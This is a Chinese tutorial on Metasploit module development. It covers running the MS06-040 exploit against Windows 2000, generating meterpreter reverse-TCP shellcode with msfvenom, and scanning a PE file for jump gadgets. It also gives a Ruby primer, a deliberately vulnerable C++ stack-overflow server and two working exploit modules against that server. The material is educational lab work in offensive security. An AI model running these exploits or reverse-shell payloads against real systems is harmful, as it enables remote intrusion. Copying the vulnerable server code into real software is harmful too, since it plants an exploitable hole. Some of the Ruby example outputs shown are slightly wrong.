MSF安全开发


MSF 简介

在软件工业中,面向对象、封装等概念的提出对漏洞利用、漏洞测试等领域产生了深远的影响。就像软件开发中的 MFC 架构、.NET 架构一样,安全技术领域也有自己的框架,用于协助漏洞利用(Exploit)的迅速开发。MetaSploit Framework 就是其中最著名的一个。

类似于现代军工中导弹的模块化生产和组装,MetaSploit Framework 将漏洞利用的过程进行了封装和模块化,使得漏洞攻击测试变得像发射导弹一样简单,只需选择合适的模块并进行组合。

2003年7月,H.D. Moore 使用 Perl 语言实现了 MetaSploit 1.0,这是一个将漏洞测试各环节模块化、标准化的框架,帮助攻击者和安全研究员进行渗透测试。MSF是开源和免费的,支持修改和扩展,受到广大安全研究者的支持,许多漏洞 POC 代码也以 MSF 模块为标准发布。

MetaSploit Framework包含以下模块:

  • exploit:攻击脚本,执行漏洞攻击。
  • auxiliary:附加插件,如网络欺骗、DOS、Sniffer工具等。
  • payload:各种操作系统各种用途的 shellcode
  • encoder:编码算法
  • nop:填充数据(\x90),用于保证 shellcode 的正常执行。

使用 MSF 进行安全测试的过程,实际上就是选择并组合这些模块,构成一个完整的攻击工具链。因此,即使不懂二进制或汇编的人,也能轻松发起攻击。

MSF 如何安装这里就不叙述了,可以查看官方文档进行对应系统安装。

MSF 基本使用

漏洞简介

这里将通过一个真实的漏洞利用案例演示 MetaSploit 的基本使用方法。

所选用漏洞的微软编号为 MS06-040,CVE 编号为 CVE-2006-3439,这个漏洞对应的安全补丁为 KB921883。 Windows 系统的动态链接库文件netapi32.dll中第317个导出函数NetpwPathCanon- icalize()对于字符串参数的处理存在典型的栈溢出。更加不幸的是,这个函数可以通过 RPC 的方式被远程调用,因此,成功利用这个漏洞可以远程控制目标主机。

  • 实验环境:
推荐环境 备注
攻击主机操作系统 Ubuntu 22.04.1 Windows、Linux、Max OS 等 MSF 支持的操作系统均可
目标主机操作系统 Windows 2000 SP0~SP4 Windows XP SP1 中的漏洞也可以获得远程控制权, 目标主机操作系统 Windows 2000 SP0~SP4 但SP2上只能达到DOS的效果
目标 PC 虚拟机 虚拟机或实体计算机均可用于攻击测试
补丁版本 未打过 KB921883 补丁 务必确保实验所用的目标主机中的漏洞未被Patch
MSF 版本
网络环境 攻击主机与目标主机互相可达 确保防火墙等不会影响TCP链接的正常建立

漏洞测试

MSF 提供了三种不同的用户界面,分别是 GUI 界面、普通命令行界面(Console) 和 Ruby 命令界面(Ruby shell)。其中,GUI 界面通过浏览器进入,命令行界面在安装并配置 MSF 环境变量后可以通过msfconsole命令进入,Ruby
命令界面可以在 MSF 或命令行中输入irb命令进入。

我们一般使用命令行界面来进行漏洞测试,因为这样会比较快捷。

漏洞测试流程:

  • msfconsole 启动命令行界面
  • search MS06-040 搜索exploit
  • use windows/smb/ms06_040_netapi 选择 MS06-040 漏洞进行攻击测试。
  • info 显示当前选中漏洞的详细描述和信息。
  • show targets 显示当前漏洞能够攻击的目标操作系统版本。
  • set target 0 选择 Windows 2000
  • show payloads 列出所有可用的 shellcode,即在当前漏洞下可用的攻击载荷。
  • set payload windows/adduser 选择 adduser 为 shellcode,这将创建一个新的用户。
  • show options 显示当前所选漏洞和 shellcode 所需配置的选项,有些参数默认已经为我们配置好了。
  • set RHOST 192.168.74.62 根据 show options 提示设置目标主机的 IP 地址。
  • exploit:启动攻击测试,MSF 会利用选择的漏洞和攻击载荷进行攻击。

我们可以在 Windows 2000 的 cmd 中使用net user查看是否创建了用户。

可以看到成功创建了默认的metasploit用户。

利用 MSF 制作 shellcode

MSF 除了可以进行攻击测试之外,它所包含的众多 Payload 模块还可以导出以各种编程语言表示的 shellcode。

选择 Payload 模块

首先,需要选择你要使用的 payload 模块。可以通过 use 命令来选择一个 payload。

例如,如果你想使用 windows/meterpreter/reverse_tcp 作为 payload,可以通过以下命令进行选择:

1
use payload/windows/meterpreter/reverse_tcp

设置 Payload 参数

  • 查看 payload 需要设置的参数:
1
show options

这里的windows/meterpreter/reverse_tcp需要设置的参数:

1
2
3
4
5
6
7
8
9
10
11
12
msf6 payload(windows/meterpreter/reverse_tcp) > show options

Module options (payload/windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


View the full module info with the info, or info -d command.
  • 设置参数

根据参数信息设置参数。

1
2
3
set LHOST 192.168.1.10
set LPORT 4444
set EXITFUNC seh

导出 Shellcode

要导出 payload 的 shellcode,可以使用 generate 命令。generate 命令可以生成 payload 的 shellcode 并将其导出为文件或显示在终端中。

  • 输出到标准输出:
1
generate -f raw
  • 输出到目标文件
1
generate -f raw -o /root/shellcode.bin
  • -f raw 表示输出为原始 shellcode 格式(无任何封装)。
  • -o 后跟导出文件路径,可以将 shellcode 保存为二进制文件。

生成的 shellcode 通常会显示为一串二进制字节流,可以将其保存到文件中,或者通过脚本在目标系统中执行。

其他常见输出格式:

  • raw:原始 shellcode(最常见格式)。
  • c:C语言风格的数组。
  • python:Python 字符串格式的 shellcode。
  • perl:Perl 格式。
  • exe:直接生成可执行文件。
  • msf:Metasploit 自有的二进制格式,适用于进一步的处理。

使用 msfvenom 导出 Shellcode

我们可以不启动 MSF 使用 msfvenom(Metasploit 的 Payload 生成工具)导出 shellcode:

这样我们需要直接在命令中配置 payload 的相关参数。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f c > shellcode.c

这将生成 C 风格的 shellcode,并将其保存到 shellcode.c 文件中。

用 MSF 扫描跳板

MSF 提供了许多附带的小工具,如 netcat 等,方便安全研究人员进行攻击测试。

这里介绍一个编写 exp 经常用到的插件 msfpescan。

我们在编写 exp 的时候通常需要在可执行文件或库中搜索可用的 gadget。

msfpescan 就是这样一款在 PE 文件中扫描跳转指令并直接转化为 VA 的工具,它使用起来更加简单灵活。

  • 用法:

  • 案例:

我们想要搜索ch72.exe中所有类似jmp edi的指令,可以这样做:

  1. 启动 MSF
  2. 使用命令msfpescan -h可以查看这个工具的帮助说明。
  3. 键入命令msfpescan -f -j edi /root/ch72.exe搜索其中的jmp edi指令地址,并转化为 VA 显示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 > msfpescan -f -j edi /root/ch72.exe
[*] exec: msfpescan -f -j edi /root/ch72.exe


[/root/ch72.exe]
0x0040189c call edi
0x004018c7 call edi
0x0040421e call edi
0x00404234 call edi
0x00404910 call edi
0x004049bc call edi
0x0040ad54 call edi
0x0040b083 call edi
0x0040b0a9 call edi
0x0041193c call edi
0x004119e6 call edi
0x00411a2c call edi
0x00418f85 call edi
0x00418f8d call edi

Ruby 语法

MSF 是用 Ruby 来开发的,所以我们要对 MSF 进行模块开发的话就必须了解以下 Ruby 的语法。

Hello World!

以经典的Hello World!开始我们 Ruby 的学习。

在一般文本文件中写入:

1
2
#!/usr/bin/env ruby
print "Hello World!\n"

保存为r.rb并放在 MSF 的安装目录下的 MSF 文件夹下。

从 MSF 安装目录下启动 MSF 命令行窗口,在命令行窗口中键入ruby t.rb,得到运行结果。

  • 结果
1
Hello World!

我们也可以通过在 MSF 中输入irb进入 Ruby shell 来执行 Ruby 代码。

注释

Ruby 和 python一样使用#作为注释符

1
#这是注释

变量

Ruby 中的变量非常灵活,一般除保留字外的字母组合都可作为变量名,全局变量以符号$开头,如$a。 Ruby变量为动态类型,同一个变量可以用于字符串,也可以用于整型,并且不需要提前声明。

1
2
3
4
5
#!/usr/bin/env ruby 
a="failwest\n"
print a
a=4
print a
  • 结果
1
2
failwest
4

字符串操作

和大多数脚本语言类似,Ruby 有两种字符串:可转义字符串和纯字符串。

用双引号括起来的字符串为可转义字符串,这种字符串内部可以使用各种转义符,甚至可以使用变量。

变量的转义符号为:

1
#{变量名或表达式名}
1
2
3
4
5
#!/usr/bin/env ruby 
a=4
b=7
c="a+b=#{a+b}\n"
print c
  • 结果
1
a+b=11

用单引号括起来的字符串为纯字符串,除了单引号自身的转义符号\'之外,这种字符串内部不再支持其他转义字符。

1
2
3
4
5
#!/usr/bin/env ruby
a=4
b=7
c='a+b#{a+b}\n'
print c
  • 结果
1
a+b=#{a+b}\n

如果纯字符串中经常出现单引号,为了避免反复使用\'进行转义,可以使用另外几种纯字符串表示方法,并且这些表达方式在 MSF 模块中经常遇见,例如,下面几种表示方法是等价的。

1
2
3
4
5
'fail\'west'
%q{fail'west}
%q{fail'west/
%q{fail'west/
%q{fail'west/

字母 q 在这里代表 quote(引号)的意思。

Ruby 对运算符做了很好的重载,大大方便了字符串操作。

运算符<<+都表示了字符串连接。

1
2
3
4
5
#!/usr/bin/env ruby
a="fail"
a<<"west"
a="hello "+a
print a
  • 结果
1
hello ailwes

运算符*表示复制字符串若干遍,在开发 exploit 时可以用类似\x90*100的表达式方便地布置缓冲区。

1
2
3
#!/usr/bin/env ruby 
a="1234"*4
print a
  • 结果
1
1234123412341234

数组

Ruby 的数组元素用方括号标识,元素之间用逗号隔开。Ruby 是纯粹面向对象语言,一切语言元素皆为对象,数组也一样。Ruby 数组中的元素可以是不同类型的常量、变量,还可以任意嵌套,并且不用提前声明类型和大小。

1
2
3
4
5
6
7
#!/usr/bin/env ruby 
a=[1,'failwest',[3,'test']]
print "#{a[0]}\n"
print "#{a[1]}\n"
print "#{a[2][0]}\n"
print "#{a[2][1]}\n"
print a
  • 结果
1
2
3
4
5
1
failwest
3
test
[1, "failwest", [3, "test"]]=> nil

hash

hash 表是 MSF 模块中大量使用的一种数据结构。hash 表的作用和数组类似,但数组使用数字作为索引来引用数据,很容易对数据的意义产生混淆。通过 hash 表中作为索引的字符串来引用数据则不存在这个问题。 hash 用大括号标识,每一对映射之间用逗号隔开。映射运算符为=>,其中,左边是键 (key),右边是值(value)。键与值之间的数据类型可以没有任何联系,我们甚至可以把一个字符串映射为一个嵌套的数组。

这个跟 php 的数组很像。

1
2
3
4
5
6
7
8
#!/usr/bin/env ruby 
a = {
'zero' => "this is the value of zero\n",
'one' => ["failwest\n" , 1]
}
print a['zero']
print a['one'][0]
print a['one'][1]
  • 结果
1
2
3
this is the value of zero
failwest
1

条件判断

1
2
3
4
5
6
7
#!/usr/bin/env ruby 
age=18
if age > 18
puts "1"
else
puts "2"
end
  • 结果
1
2

循环

while循环

几乎所有的高级编程语言都有这个循环。

1
2
3
4
5
6
#!/usr/bin/env ruby 
i = 0
while i < 5
puts i
i += 1
end
  • 结果
1
2
3
4
5
0
1
2
3
4

each循环

在 Ruby 中,each 是一种常用的迭代方法,它可以用于遍历数组、哈希等集合类型的元素,并对每个元素执行指定的代码块。each 是一种非常方便的方式来遍历集合。

对一个数组进行遍历

1
2
3
4
#!/usr/bin/env ruby 
[1, 2, 3, 4].each do |num|
puts num
end
  • 结果
1
2
3
4
1
2
3
4

同样是对一个数组进行遍历,于上一个例子本质是一样的。

1
2
3
4
5
6
#!/usr/bin/env ruby 
arr = [1, 2, 3, 4, 5]

arr.each do |num|
puts num
end
  • 结果
1
2
3
4
1
2
3
4

对 hash 表进行遍历

1
2
3
4
5
6
#!/usr/bin/env ruby 
hash = {a: 1, b: 2, c: 3}

hash.each do |key, value|
puts "#{key}: #{value}"
end
  • 结果
1
2
3
a: 1
b: 2
c: 3

函数

方法(函数)的定义与 C 语言大致相同,用保留字defend标识一个函数体。

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env ruby 
def display(n)
if n==1
print "failwest!\n"
else
print "hello world!\n"
end
end
display(1)
display(2)
  • 结果
1
2
failwest!
hello world!

模块

模块是用于封装方法和常量的容器,可以用来实现共享的功能,通常用于 Mixin(混入)或命名空间。模块不能被实例化,但可以被包括到类中,给类提供方法或功能。

定义模块:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env ruby 
module MyModule
# 常量定义
MY_CONSTANT = 42

# 方法定义
def my_method
puts "Hello from MyModule!"
end
end

使用模块:

1
2
3
4
5
6
7
# 通过include将模块的方法包含到类中
class MyClass
include MyModule
end

obj = MyClass.new
obj.my_method # 输出 "Hello from MyModule!"
  • 结果
1
hello form MyModule

类是对象的模板或蓝图,可以通过类定义实例化对象,并定义对象的属性(实例变量)和行为(方法)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyClass
# 类的属性
attr_accessor :name

# 构造方法(初始化方法)
def initialize(name)
@name = name
end

# 实例方法
def greet
puts "Hello, #{@name}!"
end
end

使用类:

1
2
obj = MyClass.new("Ruby")
obj.greet # 输出 "Hello, Ruby!"
  • 结果
1
Hello, Ruby!

实例方法

实例方法是在类中定义的,属于类的实例(对象)。

1
2
3
4
5
6
7
8
class MyClass
def instance_method
puts "This is an instance method"
end
end

obj = MyClass.new
obj.instance_method
  • 结果
1
This is an instance metho

类方法

1
2
3
4
5
6
7
8
class MyClass
# 定义类方法
def self.class_method
puts "This is a class method"
end
end

MyClass.class_method
  • 结果
1
This is a class method

异常处理

异常处理用于捕获和处理程序执行过程中可能发生的错误,避免程序崩溃并提供错误处理机制。Ruby 提供了 beginrescueelseensure 关键字来处理异常。下面是 Ruby 异常处理的基本概念和用法。

1
2
3
4
5
6
7
8
9
begin
# 可能会抛出异常的代码
rescue SomeError => e
# 异常处理代码
else
# 没有异常发生时的代码
ensure
# 无论是否有异常发生,都会执行的代码
end
1
2
3
4
5
6
7
begin
# 可能抛出异常的代码
num = 10 / 0 # 除零错误
rescue ZeroDivisionError => e
# 捕获到除零错误
puts "Error: #{e.message}" # 输出错误信息
end
  • 结果
1
Error: divided by 0

Exploit 开发

使用 Ruby 语言开发一个 exploit 模块,并在 MSF 下运行以测试漏洞。

Vuln

漏洞程序是一个简单的典型栈溢出 server,由C++编写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <iostream.h> 
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

// Function to display message
void msg_display(char * buf) {
char msg[200];
strcpy(msg, buf); // overflow here, copy 0x200 to 200
cout << "********************" << endl;
cout << "received:" << endl;
cout << msg << endl;
}

// Main function
void main() {
int sock, msgsock, lenth, receive_len;
struct sockaddr_in sock_server, sock_client;
char buf[0x200]; // buffer size is 0x200 (512 bytes)

WSADATA wsa;
// Initialize Winsock
WSAStartup(MAKEWORD(1,1), &wsa);

// Create socket
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
cout << sock << " socket creating error!" << endl;
exit(1);
}

// Set up the server address
sock_server.sin_family = AF_INET;
sock_server.sin_port = htons(7777); // listening on port 7777
sock_server.sin_addr.s_addr = htonl(INADDR_ANY);

// Bind the socket
if (bind(sock, (struct sockaddr*)&sock_server, sizeof(sock_server))) {
cout << "binding stream socket error!" << endl;
exit(1);
}

cout << "**************************************" << endl;
cout << " exploit target server 1.0 " << endl;
cout << "**************************************" << endl;

// Start listening for connections
listen(sock, 4);
lenth = sizeof(struct sockaddr);

// Accept incoming connections
do {
msgsock = accept(sock, (struct sockaddr*)&sock_client, (int*)&lenth);
if (msgsock == -1) {
cout << "accept error!" << endl;
break;
} else {
do {
memset(buf, 0, sizeof(buf));
// Receive data from client
if ((receive_len = recv(msgsock, buf, sizeof(buf), 0)) < 0) {
cout << "reading stream message error!" << endl;
receive_len = 0;
}
msg_display(buf); // Triggered overflow
} while (receive_len);
closesocket(msgsock); // Close the client socket
}
} while (1);

// Cleanup Winsock
WSACleanup();
}

这是一个非常简易的 TCP socket程序。编译运行后,程序会在 7777 端口监听 TCP 链接,如果收到数据就在屏幕上打印出来。在 main 函数中,buf 数组的大小被声明为 0x200,在 display 函数中将有可能把 0x200 的字符串复制进 200 大小的局部变量数组,从而触发栈溢出。

我的实验环境如下:

推荐使用的环境 备注
操作系统 Windows Xp 2.0 win32
编译器 VC6.0
编译选项 默认
build release版本 debug版本也可用于实验,但细节会有差异

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env ruby 
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_test',
'Platform' => 'win',
'Targets' => [
['Windows 2000', {'Ret' => 0x77F8948B }],
['Windows XP SP2', {'Ret' => 0x7C914393 }]
],
'Payload' => {
'Space' => 200,
'BadChars' => "\x00" # null byte is bad char
}
))
end # end of initialize

def exploit
connect

# Create the attack buffer
attack_buf = 'a' * 200 + [target['Ret']].pack('V') + payload.encoded

# Send the payload to the target
sock.put(attack_buf)

# Start the handler and disconnect
handler
disconnect
end # end of exploit

end # end of class

require指明所需的类库,相当于 C 语言的include。所以有 MSF 模块都需要这句话。

运算符<在这里表示继承,也就是说,我们所定义的类是由Msf::Exploit::Remote继承而来,可以方便地使用父类的资源。

在类中只定义了两个方法(函数),一个是initialize,另一个是exploit

现在的模块架构可以看成:

1
2
3
4
5
6
7
8
9
10
class xxx 
def initialize
#定义模块初始化信息,如漏洞适用的操作系统平台、为不同操作系
#统指明不同的返回地址、指明shellcode中禁止出现的特殊字符、
#漏洞相关的描述、URL引用、作者信息等
end def exploit
#将填充物、返回地址、shellcode等组织成最终的attack_buffer,并
#发送
end
end

可见为 MSF 开发模块的过程实际上就是实现这两个方法的过程。下面分别来看看这两个方法。

initialize方法的实现非常简单,在某种意义上更像是在 “填空”。本节例子中只 “填” 了最基本的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_test',
'Platform' => 'win',
'Targets' => [
['Windows 2000', {'Ret' => 0x77F8948B }],
['Windows XP SP2', {'Ret' => 0x7C914393 }]
],
'Payload' => {
'Space' => 200,
'BadChars' => "\x00" # null byte is bad char
}
))
end # end of initialize

从代码中可以看到,initialize实际上只调用了一个方法update_info来初始化info数据结构。初始化的过程通过一系列hash操作完成。

  1. Name 模块的名称,MSF 通过这个名称来引用本模块
  2. Platform 模块运行平台,MSF 通过这个值来为 exploit 挑选 payload。本例中,该值为win,所以 MSF 将只选用Windows 平台的 payload,BSD 和 Linux 的 payload 将被自动禁用。
  3. Targets 可以定义多种操作系统版本中的返回地址,本例中定义了 Windows 2000 和 Windows XP SP2 两种,跳转指令选用jmp esp,均来自ntdll.dll
  4. payload 对 shellcode 的要求,如大小和禁止使用的字节等。由于漏洞函数使用strcpy函数,故字符串\x00应该被禁用。MSF 会根据这里的设置自动选用编码算法对 shellcode 进行加工以满足测试要求。
  • exploit 的定义:
1
2
3
4
5
6
7
8
9
10
11
12
13
def exploit
connect

# Create the attack buffer
attack_buf = 'a' * 200 + [target['Ret']].pack('V') + payload.encoded

# Send the payload to the target
sock.put(attack_buf)

# Start the handler and disconnect
handler
disconnect
end # end of exploit

需要说明的只有一行。

1
attack_buf = 'a' * 200 + [target['Ret']].pack('V') + payload.encoded

首先选用 200 个字母 “a” 填充缓冲区。

pack('V')的作用是把数据按照 DWORD 逆序,即小端序。

填充了缓冲区和返回地址后,再连上经过编码的 shellcode,就得到了最终的 attack_buf。其中,payload.encoded会在使用时由 MSF 提示我们手工配置并生成。

现在使用 MSF 这个模块进行漏洞测试。

  1. 将漏洞服务器按照实验要求编译并 build 成 release,为了体现 “入侵” 的概念,我把 这个target_server 放在一台 Windows 2000 虚拟机中运行。
  2. 把我们的模块放到 exploit 目录下面。
  3. 从开始菜单中启动 msf,查看我们自己开发的 exploit 是否添加成功

攻击流程:

  • show exploits 列出所有的 exploit,不过这样很麻烦
  • search ruby文件名 应该能看到我们添加的模块位于exploit/
  • use exploit/test 选用我们添加的模块
  • show targets 显示可用的目标操作系统
  • set target 2 设置测试目标为 Windows Xp 2.0
  • show payloads 显示可用的 shellcode
  • set payload windows/exec 这个 shellcode 可以执行一条任意的命令
  • show options 显示需要配置的信息
  • set rhost xxx.xxx.xxx.xxx 配置目标的 IP 地址,如在本地测试,则为 127.0.0.1
  • set rport 7777 设置目标程序使用的端口
  • set cmd calc 配置 shellcode 待执行的命令,calc用于打开计算器
  • set exitfunc seh 以 SEH 退出程序
  • exploit 发送测试数据,执行攻击

用 MSF 发布 POC

MSF 开发 Exploit 的好处:

  • 可重用性:可以轻松搭载各类已有的 shellcode。
  • 可扩展性:可将一个模块轻易扩展到适应多个操作系统。
  • 概念清晰:溢出点、返回地址等位置一目了然,方便后续的漏洞分析和修复工作。
  • 开发迅速:开发过程被简化到按照一定格式 “填入” 相应的数据。

当需要向外界公布漏洞的技术细节时,一般会用 POC 代码来重现漏洞被触发的过程。由于 MSF 为开发 exploit 提供了方便,越来越多的 POC 开始采用 MSF 的 exploit 模块方式进行发布。

仍然以上节中的漏洞程序为测试目标。MSF 模块开发的思路基本一样,不同的只是在配置 info 数据结构时 “填写” 更多的信息,让 POC 看起来更加完善,例如,作者信息、版本信息、 漏洞描述信息、其他 URL 引用、CVE 引用等。 完善后的模块如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env ruby
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_POC',
'Version' => '1.0',
'Platform' => 'win',
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => 'FAILWEST',
'Targets' => [
['Windows 2000', {'Ret' => [200, 0x77F8948B]}],
['Windows XP SP2', {'Ret' => [200, 0x7C914393]}],
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Description' => %q{
This module is exploit practice from the book
"Vulnerability Exploit and Analysis Technique"
Used only for educational purposes.
},
'Arch' => 'x86',
'References' => [
['URL', 'http://www.failwest.com'],
['CVE', '44444'],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end

# end of initialize

def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")

buf = 'a' * target['Ret'][0]
buf << [target['Ret'][1]].pack('V')
buf << payload.encoded

sock.put(buf)
handler
disconnect
end # end of exploit
end

将其保存为poc.rb,放在正确的目录下,启动 MSF,使用search failwest搜索 POC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 > search failwest

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/poc . normal No failwest_POC
1 \_ target: Windows 2000 . . . .
2 \_ target: Windows XP SP2 . . . .
3 exploit/ruby_lab . normal No failwest_test
4 \_ target: Automatic . . . .
5 \_ target: Windows 2000 . . . .
6 \_ target: Windows XP SP2 . . . .


Interact with a module by name or index. For example info 6, use 6 or use exploit/ruby_lab
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP SP2' . . .

其中的 failwest_POC 就是本节扩充过附属信息的模块,第二个没有描述信息的是上节完成的模块。

我们可以通过命令info 模块名看到我们在模块中填写的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf6 > info exploit/poc

Name: failwest_POC
Module: exploit/poc
Platform: Windows
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
FAILWEST

Available targets:
Id Name
-- ----
=> 0 Windows 2000
1 Windows XP SP2

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit
/basics/using-metasploit.html
RPORT yes The target port (TCP)

Payload information:
Space: 200
Avoid: 1 characters

Description:
This module is exploit practice from the book
"Vulnerability Exploit and Analysis Technique"
Used only for educational purposes.

References:
http://www.failwest.com
https://nvd.nist.gov/vuln/detail/CVE-44444


View the full module info with the info -d command.

这样,一个包含了各种附属信息的标准 POC 就完成了。即使对完全不了解我们程序中漏洞的人,通过这个模块也能迅速掌握所有技术细节。

后言

参考:0day软件漏洞分析